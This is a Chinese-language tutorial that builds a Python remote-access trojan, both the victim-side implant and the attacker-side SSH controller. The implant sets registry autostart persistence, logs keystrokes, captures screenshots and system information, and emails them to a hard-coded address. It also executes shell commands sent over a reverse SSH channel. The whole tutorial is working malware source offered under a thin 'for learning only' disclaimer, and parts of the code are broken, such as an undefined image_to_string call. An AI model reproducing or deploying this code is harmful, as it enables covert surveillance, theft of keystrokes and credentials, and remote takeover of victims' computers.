目录
本文章仅作参考和学习用,请勿将本文中的技术使用于非法领域!
一.思路
1.功能
2.信息传输
二.实现
1.被控端
2.主控端
三.测验
本文章仅作参考和学习用,请勿将本文中的技术使用于非法领域!
一.思路
1.功能
功能方面,这款木马主要具有键盘记录,命令执行,截屏的功能。
2.信息传输
命令执行上,我们选择了加密的SSH通信,使用的库是Paramiko。
感兴趣的可以自行了解:paramiko · PyPI
数据渗漏上,我们选择的是电子邮件的方式。
二.实现
1.被控端
导入必要的库:
import base64
import platform
import smtplib
import socket
import subprocess
import sys
import os
import threading
import winreg
from email.header import Header
from email.mime.text import MIMEText
from io import BytesIOimport paramiko
import psutil
import win32api
import win32con
import win32gui
import win32ui
from PIL import Image
from pynput import keyboard
from pynput.keyboard import Key
定义全局变量:
shift_pressed = False
send_text = ''
the_sender = 'yccy1981@sina.com'
the_receivers = ['yccy1981@sina.com'] # 接收邮件
开机自启的函数,这里通过修改注册表实现,注意地址改成你的木马的位置:
def set_auto_start():key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0,winreg.KEY_ALL_ACCESS)winreg.SetValueEx(key, '木马', 0, winreg.REG_SZ, r'C:\\Users\\Administrator\\Desktop\\木马\\木马.exe')winreg.CloseKey(key)
实现获取系统信息的功能:
def get_system_info():cpu_info = {'physical_cores': psutil.cpu_count(logical=False),'total_cores': psutil.cpu_count(logical=True),'cpu_frequency': psutil.cpu_freq().current,'cpu_percent': psutil.cpu_percent(interval=1),}system_info = {'system': platform.system(),'release': platform.release(),'version': platform.version(),'machine': platform.machine(),'processor': platform.processor(),}memory_info = {'total_memory': psutil.virtual_memory().total,'available_memory': psutil.virtual_memory().available,'used_memory': psutil.virtual_memory().used,'memory_percent': psutil.virtual_memory().percent,}disk_info = {'total_disk': psutil.disk_usage('/').total,'used_disk': psutil.disk_usage('/').used,'free_disk': psutil.disk_usage('/').free,'disk_percent': psutil.disk_usage('/').percent,}# 获取所有网络接口的信息network_interfaces = psutil.net_if_addrs()# 获取第一个可用的网络接口for interface_name, addresses in network_interfaces.items():for addr in addresses:if addr.family == socket.AF_INET: # IPv4 地址network_info = {'ip_address': addr.address,'netmask': addr.netmask,'broadcast': addr.broadcast}info_str = (f"----------------------------基础信息----------------------------: \n"f"主机名: {socket.gethostname()}\n\n"f"IP地址: {socket.gethostbyname(socket.gethostname())}\n\n"f"----------------------------CPU信息----------------------------:\n"f"物理核心数: {cpu_info['physical_cores']}\n"f"总核心数: {cpu_info['total_cores']}\n"f"CPU频率: {cpu_info['cpu_frequency']}\n"f"CPU使用率: {cpu_info['cpu_percent']}%\n\n"f"----------------------------系统信息----------------------------:\n"f"系统: {system_info['system']}\n"f"版本: {system_info['version']}\n"f"机器类型: {system_info['machine']}\n"f"处理器: {system_info['processor']}\n\n"f"----------------------------内存信息----------------------------:\n"f"总内存: {memory_info['total_memory'] / (1024 ** 3):.2f} GB\n"f"可用内存: {memory_info['available_memory'] / (1024 ** 3):.2f} GB\n"f"已用内存: {memory_info['used_memory'] / (1024 ** 3):.2f} GB\n"f"内存使用率: {memory_info['memory_percent']}%\n\n"f"----------------------------磁盘信息----------------------------:\n"f"总磁盘空间: {disk_info['total_disk'] / (1024 ** 3):.2f} GB\n"f"已用磁盘空间: {disk_info['used_disk'] / (1024 ** 3):.2f} GB\n"f"可用磁盘空间: {disk_info['free_disk'] / (1024 ** 3):.2f} GB\n"f"磁盘使用率: {disk_info['disk_percent']}%\n\n"f"----------------------------网络信息----------------------------:\n"f"IP地址: {network_info['ip_address']}\n"f"子网掩码: {network_info['netmask']}\n")return info_str
定义截屏的两个函数:
我们不使用第三方库(如Pillow)而是调用windows的原生api来实现截屏功能。
# 定义获取屏幕尺寸的函数
def get_dimensions():width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)return width, height, left, top# 定义截屏函数
def screenshot(name='screenshot'):hdesktop = win32gui.GetDesktopWindow()width, height, left, top = get_dimensions()desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)mem_dc = img_dc.CreateCompatibleDC()screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())
键盘记录的函数(用的是pynput,但如果你有能力,建议使用PyWinHook):
def on_press(key):global send_texttry:if key.char.isalpha() and shift_pressed:print(key.char.upper(), end='')send_text += key.char.upper()else:print(key.char, end='')send_text += key.char # 常规处理except AttributeError:if key == Key.enter: # 检查是否按下的是Enter键send_text += '\n' # 添加换行else:passdef on_release(key):global shift_pressedif key == Key.shift:shift_pressed = False # 当Shift键释放时,将shift_pressed设为False# 定义键盘监听的主函数
def key_main():# 设置监听器with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:listener.join()
电子邮件发送的函数:
# 注意,如果要发送图片,则需要将图片路径作为text参数传入
def send_mail(text, sender, receivers, mode, subject='木马信息'):if mode == 'picture':# 打开图像文件img = Image.open(text)# 转换为RGB模式img = img.convert("RGB")# 获取图像的像素数据pixels = list(img.getdata())# 将像素数据转换为字符串形式text = ''.join(str(p) for p in pixels)# 三个参数:第一个为文本内容,第二个 plain 设置文本格式,第三个 utf-8 设置编码message = MIMEText(text, 'plain', 'utf-8')message['From'] = sendermessage['To'] = receivers[0]message['Subject'] = Header(subject, 'utf-8')try:smtp_obj = smtplib.SMTP('smtp.sina.com', 25)smtp_obj.login('your_address', 'ypur_password')smtp_obj.sendmail(sender, receivers, message.as_string())except smtplib.SMTPException:sys.exit(0)
cmd命令交互的函数 :
# 定义SSH接受的函数
def ssh_command(ip, port, user, psword, command):client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())client.connect(ip, port=port, username=user, password=psword)ssh_session = client.get_transport().open_session()if ssh_session.active:ssh_session.send(command)print(ssh_session.recv(1024).decode()) # read bannerwhile True:command = ssh_session.recv(1024)try:cmd = command.decode()if cmd == 'exit':client.close()breakcmd_output = subprocess.check_output(cmd, shell=True)ssh_session.send(cmd_output.decode('gbk') or b'OK')send_mail(f'{cmd}命令的执行结果:\n\n{cmd_output.decode('gbk')}' or 'OK', 'yccy1981@sina.com',['yccy1981@sina.com'], 'text', subject='cmd命令执行结果')except Exception as e:ssh_session.send(str(e).encode())client.close()return# 定义命令行主函数
def cmd_main():ip = input('服务器地址: ')port = 8000ssh_command(ip, port, 'user', 'password', 'ClientConnected')
程序入口:
if __name__ == '__main__':send_mail(str(get_system_info()), the_sender, the_receivers, 'text', subject='木马已启动')print('木马已启动')cmd_thread = threading.Thread(target=cmd_main)cmd_thread.start()keyboard_thread = threading.Thread(target=key_main)keyboard_thread.start()while True:if len(send_text) >= 10:send_mail(send_text, the_sender, the_receivers, 'text', subject='键盘记录')screenshot()encoded_str = image_to_string("screenshot.bmp")os.remove('screenshot.bmp')send_mail(encoded_str, the_sender, the_receivers, 'picture', subject='截屏')
2.主控端
主控端只扮演了SSH服务器的角色,逻辑较为简单
import os
import socket
import sys
import threadingimport paramikoCWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))class Server(paramiko.ServerInterface):def _init_(self):self.event = threading.Event()def check_channel_request(self, kind, chanid):if kind == 'session':return paramiko.OPEN_SUCCEEDEDreturn paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITEDdef check_auth_password(self, username, password):# if (username == 'admin') and (password == '654321'):return paramiko.AUTH_SUCCESSFULif __name__ == '__main__':server = '0.0.0.0'ssh_port = 8000try:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind((server, ssh_port))sock.listen(100)print('[+] 正在等待连接 ...')client, addr = sock.accept()except Exception as e:print('[-] 监听失败: ' + str(e))sys.exit(1)else:print(f'[+] 来自{addr}的连接!')bhSession = paramiko.Transport(client)bhSession.add_server_key(HOSTKEY)server = Server()bhSession.start_server(server=server)chan = bhSession.accept(20)if chan is None:print('*** 没有频道.')sys.exit(1)print('[+] 请求被授权!')print(chan.recv(1024).decode())chan.send('Welcome to bh_ssh')try:while True:command = input("命令(exit): ")if command != 'exit':chan.send(command)r = chan.recv(8192)try:print(r.decode())except:print(r)else:chan.send('exit')print('退出')bhSession.close()breakexcept KeyboardInterrupt:bhSession.close()
三.测验
先运行主控端.py,再运行被控端.py。
主控端:
数据已经渗漏到邮件: